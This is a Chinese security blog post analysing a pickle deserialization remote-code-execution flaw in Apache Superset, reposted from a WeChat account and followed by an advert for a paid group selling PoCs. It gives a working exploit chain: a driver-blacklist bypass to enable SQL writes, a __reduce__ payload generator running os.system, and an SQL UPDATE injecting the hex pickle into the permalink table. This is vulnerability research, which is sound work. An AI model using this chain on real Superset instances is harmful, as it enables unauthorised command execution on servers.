记一次superset反序列化分析

admin 2023年10月14日01:29:10评论18 views字数 3939阅读13分7秒阅读模式

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关

前几天看到有公众号发布了Apache Superset的命令执行漏洞,涉及到python的反序列化,正好今天分析一下漏洞点的发现和漏洞利用过程

0x01 前置知识-python反序列化

在python中,模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。和其他语言的反序列化一样,python里的 pickle 模块 并不安全。你只应该对你信任的数据进行 unpickle 操作。构建恶意的 pickle 数据来在解封时执行任意代码是可能的。绝对不要对不信任来源的数据和可能被篡改过的数据进行解封。(官方文档)

首先要说说__reduce__()这个魔术方法,这个方法用来表明类的对象应当如何序列化,当对象被Pickle(反序列化)时就会被调用。(和php中的__wakeup()类似)

__reduce__()方法不带任何参数,并且应返回字符串或最好返回一个元组(返回的对象通常称为“reduce 值”)。如果返回的是元组,则应当包含 2 到 6 个元素,这里主要关注前两个元素,

  • 第一个元素代表一个可调用对象,该对象会在创建对象的最初版本时调用。

  • 第二个元素代表可调用对象的参数,是一个元组。如果可调用对象不接受参数,必须提供一个空元组。

举个例子:

import pickleimport os
class Student(object): name = 'xxx' age = '20' def __reduce__(self): cmd = "calc.exe" return os.system, (cmd,)
y = pickle.dumps(Student())print(y)pickle.loads(y)

记一次superset反序列化分析

0x02 漏洞点发现

首先全局搜索pickle.loads,该函数就是反序列化的地方,如果该参数可控,就可以造成远程命令执行

记一次superset反序列化分析

可以看到如果调用了GetKeyValueCommand中的run方法就会调用get,最后反序列化entry.value的内容进行反序列化,在get方法中是从数据库的key_value表中筛选resourcekey值所得到的value值,写成sql语句的话类这样:

select value from key_value where resource=xxx and key=xxx

那么就寻找哪里实例化了GetKeyValueCommand类并调用了run方法,并且传入的参数还是可控的

记一次superset反序列化分析

经过筛查找到这样一处位置,传递的两个参数中self.resource是常量,值为dashboard_permalink,key为传递给GetDashboardPermalinkCommand的参数

记一次superset反序列化分析

记一次superset反序列化分析

记一次superset反序列化分析

我们如法炮制找到实例化GetDashboardPermalinkCommand的地方,并且发现了触发这一条链的路由:/dashboard/p/<key>/

记一次superset反序列化分析

既然这个功能是从数据库中取数据,那大概率有一个功能点是往数据库中写数据的地方,并且返回一个这样的路径,于是我们全局查找代码中出现/dashboard/p/的地方:

通过搜索找到这样一处,代码逻辑流程是访问<pk>/permalink路径,然后将pk参数和post传入的json合并后通过CreateDashboardPermalinkCommand生成key,最后拼接成上面的链接

记一次superset反序列化分析

通过查看注释可以知道这是一个保存固定链接(permanent link)的功能点

记一次superset反序列化分析

pk为当前dashboard的id,通过CreateDashboardPermalinkCommandrun方法获取固定链接的key值,我们继续更近run方法:

记一次superset反序列化分析

这里的value将dashboardIdstate合并后,传入到下面的UpsertKeyValueCommand方法中,其中的key值时通过user_id和value生成的uuid值,resource为dashboard_permalink

然后进入UpsertKeyValueCommand的run方法中,调用了upsert,然后其中会将value的值通过pickle.dumps序列化后存入数据库

记一次superset反序列化分析

然后通过key.id和salt生成一个固定链接

记一次superset反序列化分析

我们获取到这样一个固定链接:

http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/

所以我们的攻击路径就是首选获取一个固定链接,在生成固定链接的同时会将数据写入到数据库,然后我们通过修改数据库中的内容为payload,在访问固定链接的时候会取数据库中的数据进行反序列化,进而造成RCE

0x03 漏洞利用

点击右上角···-Share-Copy permailink to clipboard

记一次superset反序列化分析

它会发送一个以下请求包生成一个当前页面的固定链接

POST /api/v1/dashboard/2/permalink HTTP/1.1Host: 127.0.0.1:5000Connection: close
{"urlParams":[],"dataMask":{},"activeTabs":[]}

记一次superset反序列化分析

我们获取到这样一个固定链接:

http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/

所以我们如果要想在这里进行反序列化就需要修改数据库中key_value表中dashboard_permalink值,正好有一个功能SQL Lab可以执行sql语句,那么我们就可以通过update修改dashboard_permalink值为payload,然后打开固定链接就可以触发pickle.loads进行反序列化,从而导致RCE

记一次superset反序列化分析

但是不巧的是,这里执行的SQL语句只能执行SELECT

记一次superset反序列化分析

而且在配置数据库的地方勾选Allow DML会提示

SQLiteDialect_pysqlite cannot be used as a data source for security reasons.

无法保存

记一次superset反序列化分析

于是我们可以重新添加一个数据源也为sqlite,然后将源指向同一个数据库,并且打开Allow DML,但是直接添加也会报错,因为sqliteuri.drivername的黑名单里

记一次superset反序列化分析

但是依然可以通过方言和驱动程序名称的完整SQLAlchemy URI来绕过,pysqlite驱动程序支持SQLite数据库,例如:

sqlite+pysqlite:///D:/superset_2.1.0/superset.dbSQL方言(或者数据库方言)指的是用于访问数据库的结构化查询语言的变体,根据具体的数据库系统不同,也可能会支持不同的方言。简单而言,某种DBMS不只会支持SQL标准,而且还会有一些自己独有的语法。

记一次superset反序列化分析

之后在生成固定链接后就可以去Sql Lab去update修改dashboard_permalink

以弹出计算器作为演示,将RCE类序列化后转换为hex输出

import pickleimport osfrom binascii import hexlify
class RCE: def __reduce__(self): return os.system, ('calc.exe',)
if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(hexlify(pickled).decode())

然后执行sq语句:

update key_value set value=X'636e740a73797374656d0a70300a285663616c632e6578650a70310a7470320a5270330a2e' where resource='dashboard_permalink';

记一次superset反序列化分析

在数据库中也被成功修改

记一次superset反序列化分析

然后访问固定链接也可成功弹出计算器

记一次superset反序列化分析

0x04 总结

整个攻击路径就是首先通过sqlite+pysqlite://来添加当前数据库并开启DML使其能允许使用非 SELECT 语句(例如 UPDATE、DELETE、CREATE 等)操作数据库,然后生成一个固定链接,然后通过sql语句的update更新dashboard_permalink的值,然后在访问该链接后,在获取value时会触发pickle.loads()方法去反序列化dashboard_permalink的值,而这里的value值已经在上一步中通过sql语句将其替换成了payload,最终造成任意命令执行,

原文链接

https://forum.butian.net/share/2458

| 知识星球的介绍

不好意思,兄弟们,这里给湘安无事星球打个广告,不喜欢的可以直接滑走哦。添加下面wx加星球可享优惠

1.群主为什么要建知识星球?

很简单为了恰饭哈哈哈,然后也是为了建立一个圈子进行交流学习和共享资源嘛相应的也收取费用嘛,毕竟维持星球也需要精力

2.知识星球有哪些资源?

群里面联系群主是可以要一些免费的学习资料的,因为群里面大部分是大学生嘛大学生不就是喜欢白嫖,所以大家会共享一些资料没有的群主wk也有,wk除了不会pc,其他都能嫖hhh

一些实战报告,截的部分

记一次superset反序列化分析

记一次superset反序列化分析

记一次superset反序列化分析


一些1day的poc,这些也就是信息差,不想找可以让wk帮你们嫖,群主也会经常发

记一次superset反序列化分析

记一次superset反序列化分析

记一次superset反序列化分析

一些共享的资源

1.刀客源码的会员2.fofa 360高级会员3.专属漏洞库5.专属内部it免费课程6.不定期直播分享(星球有录屏)

技术交流可加下方wx

记一次superset反序列化分析

记一次superset反序列化分析

记一次superset反序列化分析

记一次superset反序列化分析



原文始发于微信公众号(湘安无事):记一次superset反序列化分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月14日01:29:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次superset反序列化分析http://cn-sec.com/archives/2101515.html

发表评论

匿名网友 填写信息